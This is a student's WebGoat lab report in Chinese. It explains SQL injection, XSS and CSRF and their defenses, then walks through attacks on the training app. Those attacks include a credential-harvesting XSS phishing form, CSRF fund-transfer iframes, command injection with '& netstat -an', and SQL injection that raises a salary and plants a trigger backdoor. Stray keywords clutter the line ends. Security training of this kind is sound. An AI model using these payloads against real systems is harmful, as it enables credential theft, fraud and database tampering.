(1)SQL注入攻擊原理,如何防護javascript
SQL注入攻擊就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。html
一、 普通用戶與系統管理員用戶的權限要有嚴格的區分。java
二、 強迫使用參數化語句。web
三、 增強對用戶輸入的驗證。正則表達式
四、使用SQL Server數據庫自帶的安全參數。sql
五、使用正則表達式過濾傳入的參數,對一些包含sql注入的關鍵字進行過濾。數據庫
六、jsp中調用該函數檢查是否包含非法字符,防止SQL從URL注入。
(2)XSS攻擊的原理,如何防護瀏覽器
XSS是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。XSS攻擊的主要目的則是,想辦法獲取目標攻擊網站的cookie,由於有了cookie至關於有了seesion,有了這些信息就能夠在任意能接進互聯網的pc登錄該網站,並以其餘人的生份登錄,作一些破壞。預防措施,防止下發界面顯示html標籤,把</>等符號轉義安全
一、在表單提交或者url參數傳遞前,對須要的參數進行過濾。服務器
二、消除網站的XSS漏洞,須要網站開發者運用轉義安全字符等手段。
(3)CSRF攻擊原理,如何防護
CSRF(Cross site request forgery),即跨站請求僞造。咱們知道XSS是跨站腳本攻擊,就是在用戶的瀏覽器中執行攻擊者的腳本,來得到其cookie等信息。而CSRF確實,借用用戶的身份,向web server發送請求,由於該請求不是用戶本意,因此稱爲「跨站請求僞造」。
通常並且存在XSS漏洞的網站,也極有可能存在CSRF漏洞。由於CSRF攻擊中的那個「僞造的請求」的URL地址,通常是經過XSS攻擊來注入到服務器中的。因此其實CSRF是以XSS爲基礎的,也能夠看作是XSS攻擊的一種。
1.referer:由於僞造的請求通常是從第三方網站發起的,因此第一個防護方法就是判斷 referer 頭,若是不是來自本網站的請求,就斷定爲CSRF攻擊。可是該方法只能防護跨站的csrf攻擊,不能防護同站的csrf攻擊(雖然同站的csrf更難)。
2.使用驗證碼:每個重要的post提交頁面,使用一個驗證碼,由於第三方網站是沒法得到驗證碼的。還有使用手機驗證碼,好比轉帳是使用的手機驗證碼。
3.使用token:每個網頁包含一個web server產生的token, 提交時,也將該token提交到服務器,服務器進行判斷,若是token不對,就斷定位CSRF攻擊。
4.將敏感操做又get改成post,而後在表單中使用token. 儘可能使用post也有利於防護CSRF攻擊。
運行WebGoat,在終端中輸入java -jar webgoat-container-7.0.1-war-exec.jar開啓WebGoat,等到中止出現以下界面的時候,打開瀏覽器
在地址欄輸入localhost:8080/WebGoat
打開WebGoat,選擇默認帳號、密碼便可登錄成功。
一、Phishing with XSS 跨站腳本釣魚攻擊
此次實驗的目的在於要在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色。首先咱們建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,而且將這些信息發送給http://localhost:8080/那一段,完整的XSS攻擊代碼以下:
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
而後在webgoat找到xss攻擊打開Phishing with XSS
將這段代碼輸入到輸入框中,點擊search出現登陸框,在登陸框中輸入用戶名、密碼:
點擊登陸後跳出彈框,其中包含用戶輸入的用戶名、密碼。攻擊成功。
存儲型XSS的攻擊基本流程:
好比在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,而且提交。
網站後臺程序將留言內容存儲在數據中
而後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了以前黑客的留言內容,而且直接插入在html頁面中,這就可能致使:黑客留言的腳本自己應該做爲內容顯示在留言板的,但此時黑客的留言腳本被瀏覽器解釋執行。
黑客的腳本能夠用來作以下所述的攻擊:
1.經過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息
2.重定向網站到一個釣魚網站
3.從新更改頁面內容,僞裝讓客戶輸入用戶名,密碼,而後提交到黑客的服務器
咱們就來試試第三個,獲取用戶名和密碼吧~
①打開Cross-Site Scripting (xss)攻擊中的第二個:Stored XSS Attacks
②在Message框中輸入上面那段代碼,並點擊submit
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
③提交後,下方「Message List」中會新增剛輸入的Tile名字的連接,點擊連接。
④能夠html已經注入成功,messege部分顯示的是綠、紅、藍三色框,在下方用戶名密碼處輸入點擊提交後,被成功獲取用戶名和密碼:
存儲型XSS與反射型XSS的區別:
存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等。
反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。
此次實驗的原理: 當在HTTP響應中使用未經驗證的用戶輸入時,可能發生XSS。在一個反射的XSS攻擊中,攻擊者能夠用攻擊腳本製做URL並將其張貼到另外一個網站上,發送電子郵件,或者以其餘方式讓受害者點擊它。
打開xss的第三個攻擊,在code框中輸入帶有攻擊性的URL做爲輸入源:
跨站請求僞造,它與XSS不一樣之處在於,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性
此次實驗的原理是發送電子郵件到新聞組。電子郵件包含一個圖像,其URL指向惡意請求。在本課中,URL應該指向「攻擊」Servlet,該課程的「屏幕」和「菜單」參數和一個額外的參數「TrimeFund」具備任意數值,如5000。您能夠經過在右邊插入的參數中找到「屏幕」和「菜單」值來構建連接。當時被認證的CSRF郵件的收件人將轉移他們的資金。當這一課的攻擊成功時,左邊的菜單旁邊出現一個綠色的複選標記。
以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件
咱們在message框中輸入這樣一串代碼
PS:注意這裏面的Screen和menu的值每一個人可能不同,能夠在當前頁面的下邊有個Parameters進行查看,而後經過寬高設置成1像素,隱藏掉這個圖片。我這裏src=475,menu=900。
提交後生成一個連接20155327:
點擊連接便可查看用戶操做的信息,攻擊成功
實驗原理是:目標是向包含多個惡意請求的新聞組發送電子郵件:第一個轉移資金,第二個請求確認第一個請求被觸發的提示。URL應該指向這個CSRF提示的攻擊servlet,經過PASS課程的屏幕、菜單參數和一個額外的參數「TrimeBoover」,它具備一個數字值,好比「5000」來啓動一個傳輸,一個字符串值「確認」完成它。您能夠從右邊的插圖複製該課程的參數,建立「攻擊」格式的URL。屏幕= xxx和菜單= yyy和轉移資金= ZZZ」。不管誰收到這封電子郵件,恰巧在那時被認證,他的資金將被轉移。當您認爲攻擊成功時,刷新頁面,您將在左側菜單中找到綠色檢查
和上邊的那個實驗同樣,查看頁面下邊Parameters中的src和menu值並修改。
在message中添加代碼以下:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM">
提交後生成一個連接
點擊連接便可查看用戶操做的信息,以下圖所示說明攻擊成功
SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令,好比不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。
選擇左欄中的Injection Flaws,選擇下面的多種攻擊進行實踐
點擊工具欄的firebug,也就是蟲子(bug),調試網頁源代碼。
將複選框中任意一欄的代碼後添加"& netstat -an & ipconfig"
點擊view,便可查看命令執行結果
發現這一題的選擇框是一個下拉框,在當前網頁上沒法修改,因而,咱們使用BurpSuite抓包修改。
在Kali中找到BurpSuite,並打開
在BurpSuite中依次選擇Proxy->Options->Add添加一個端口,將綁定的端口設爲5327,點擊確認後會在Options下增長一行,勾選新造成的這一行:
點擊瀏覽器右上方的更多選項卡,選擇preference
在頁面左側選擇advanced,選擇network頁標籤,在connection那一行選擇settings…
在彈出的窗口中設置代理服務器和端口(要與BurpSuite中綁定的一致,都爲我設置的5327)
設置好後回到webgoat,點擊Go,而後進入BurpSuite中依次選擇Proxy->Intercept,能夠看到已經抓到了包
右鍵選擇send to repeater
進入repeater頁標籤,選擇Params將其中station的值改成101 or 1=1,點擊Go運行,查看右側代碼能夠看到包中的SQL語句爲
SELECT * FROM weather_data WHERE station = 101 or 1=1
回到Proxy中點擊Intercept is on對剩下的包不做處理,回到火狐發現已經成功。
使用用戶Neville進行登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,結果竟然登陸失敗。
打開firebug,能夠顯示當前網頁的源碼並直接在其中修改。
一直搜password,查看源碼發現輸入框對輸入的字符長度進行了限制,最多容許輸入8個字符,這意味着個人注入並無所有輸進去。
對長度maxlength值進行擴大改爲20,而後在密碼欄中再次輸入' or 1=1 --,此次所有輸進去了,點擊登陸就成功了(注意登陸的時候不要關閉源碼頁面)
4.LAB:SQL Injection(Stage 3:Numeric SQL Injection)
同上個小實驗同樣,修改長度而後輸入' or 1=1 --登陸成功
查看網頁源碼,選擇查看viewprofile部分的代碼,這時候能夠看到一行用員工id做爲索引來傳送數據的代碼,雙擊這行代碼就能夠出現value的值,由於咱們想要用Larry的帳戶瀏覽老闆信息,而大多數企業公司里老板的工資應該是最高的,因此咱們就把其中的value值由101改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一個讓咱們看到
能夠看到老闆應該就是排在第一個的Neville了,電話地址電郵工資卡等等信息盡收眼底。
先輸一個101,獲得了該用戶的信息
輸入注入語句:
101; update employee set salary=90000
成功把該用戶的工資漲到了90000
爲使表中一旦添加新用戶那麼就在用戶表裏將新用戶的郵箱改成我設置的郵箱,那麼輸入語句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155320@qq.com' WHERE userid = NEW.userid
就能夠了,表中一旦添加新用戶那麼就在用戶表裏將新用戶的郵箱改成我設置的郵箱。